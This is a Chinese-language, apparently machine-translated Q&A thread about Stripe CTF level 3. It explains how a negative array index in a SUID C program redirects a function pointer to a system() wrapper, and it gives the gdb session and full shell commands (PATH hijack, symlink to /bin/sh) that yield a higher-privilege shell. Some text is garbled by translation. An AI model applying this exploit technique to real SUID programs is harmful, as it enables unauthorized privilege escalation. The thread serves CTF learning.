所以我试图参加Stripe CTF比赛,但我对安全一无所知,所以当我陷入困境时,我查找了问题3。我仍然不明白它是如何工作的。黑客攻击的目标是通过使用设置了SUID
位的应用程序访问不同用户的文件中的密码。以下是应用程序的(简化)代码:
#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
int to_lower(const char *str)
int capitalize(const char *str)
int length(const char *str)
int run(const char *str)
{
// This function is now deprecated.
return system(str);
}
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
char buf[64];
// Truncate supplied string
strncpy(buf, user_string, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = ' ';
return fns[index](buf);
}
int main(int argc, char **argv)
{
int index;
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
if (argc != 3) {
exit(-1);
}
// Parse supplied index
index = atoi(argv[1]);
if (index >= NUM_FNS) {
exit(-1);
}
return truncate_and_call(fns, index, argv[2]);
}
这是我找到的一个解决方案:http://pastebin.com/VJ4xpawq
我很困惑为什么这样做。如果我用类似的东西运行代码/level3-28"echo foo
;"我得到一个分段错误。此外,为什么在他的printf函数中内存地址颠倒了????
我迷路了,想学习。提前谢谢。:)
此代码的目标是执行
system("/bin/sh");
由于可执行文件的UID为"level04",因此它派生的shell的UID也将为"level04"。
这可以通过运行"弃用"的run
函数来完成:
run("/bin/sh");
我们注意到,在函数truncate_and_call
中,我们将调用一个函数,该函数由用户输入选择:
return fns[index](buf);
因此,我们尝试创建一个内存位置并组成一个index
,这样fns[index] == &run
检查index
的边界
if (index >= NUM_FNS) {
exit(-1);
}
这意味着我们提供的恶意index
必须小于4,但可能是负数!因此,我们的目标变成:
- 在
fns
之前查找可写的内存位置 - 将
&run
的内存地址写入 - 将
buf
指定为启动shell的对象
为了检查地址,我们在gdb
内部运行程序,并在truncate_and_call
:中断
$ gdb --quiet --args a.out 1 something
Reading symbols from ~/a.out...done.
(gdb) b truncate_and_call
Breakpoint 1 at 0x80484c5: file 3.c, line 21.
(gdb) r
Starting program: ~/a.out 1 something
Breakpoint 1, truncate_and_call (fns=0xffbffa6c, index=1, user_string=0xffc019ab "something") at 3.c:21
21 strncpy(buf, user_string, sizeof(buf) - 1);
(gdb) list
16
17 int truncate_and_call(fn_ptr *fns, int index, char *user_string)
18 {
19 char buf[64];
20 // Truncate supplied string
21 strncpy(buf, user_string, sizeof(buf) - 1);
22 buf[sizeof(buf) - 1] = ' ';
23 return fns[index](buf);
24 }
25
注意,这里还有一个局部变量buf
,它是:
(gdb)p&buf$2=(char(*)[64])0xffbffa00
具有在CCD_ 15之前的地址。因此,完成了步骤1。我们只需要检查index
,它是
(gdb)p(0xffbffa6c-0xffbffa00)/4#4==大小(*fns)$4=27
因此,下一个问题是如何将&run
的存储位置写入buf
。这很容易,因为buf
只是函数的第二个自变量user_string
的strcpy
。检查run
的地址是否为
(gdb)运行$5=(int(*)(const char*))0x80484ac
在小端序系统中,此地址被编码为字符串"xACx84x04x08"
。此字符串可以使用printf
命令或$'...'
:从shell获得
$ echo `printf "xacx84x04x08"`
��
$ echo $'xacx84x04x08'
��
所以,最后一步是让它启动shell。因为如果我们将"xacx84x04x08"
分配给buf
,那么实际称为
run("xacx84x04x08");
但我们想要的是"/bin/sh"
,而不是"xacx84x04x08"
!通过将/bin/sh
链接到名为"xacx84x04x08"
的文件,并将该文件的目录添加到$PATH
:,可以很容易地解决此问题
$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'xacx84x04x08'
$ $'xacx84x04x08'
sh-4.2$ whoami
level03
因此,整个解决方案是:
$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'xacx84x04x08'
$ /levels/level03 -27 $'xacx84x04x08'
sh-4.2$ whoami
level04
(注意:数字有点不同,因为我在我的机器上运行它们,而不是Stripe的。)
此外,您在./level03 -28 "echo foo;"
中会得到一个segfault,因为它会将要运行的地址解释为0x6f686365
(4字节"echo"的ASCII代码),这是一个无效地址。
1)fns[-28]指向buf 的地址
2) 我们想执行在0x804875b 上运行的函数
3) 因此,我们将-28作为argv[1]传递,并将run的地址作为argv[2]传递
4) 索引的值为-28
5) argv[2]被复制到buf
6) 因此,现在当在truncate_and_call中调用fns[-28](buf)
时,它执行函数"run"
7) 当run执行时,其参数"str"的值将是buf-的值
8) 所以我们取buf的值,并将其符号链接到/bin/sh和
9) 将我们当前的目录放在路径path=$PWD:$path中-通过将$PWD放在第一位,我们确保我们当前的路径首先被查找到
10) 现在,当"system"在run命令中执行时,它将在路径中查找名称与buf值相同的文件。
11) 由于我们已经将其符号链接到/bin/sh,因此我们会得到shell提示
使用./level03 -28
,您最终会执行以下操作:
return fns[index](buf);
其中索引为-28。这是无效的,可能会导致segfault。除了验证index >= NUM_FNS
之外,代码还应该验证索引不小于零
内存地址是颠倒的,因为它在小端序机器上运行,其中最低有效字节首先存储在整数和指针中。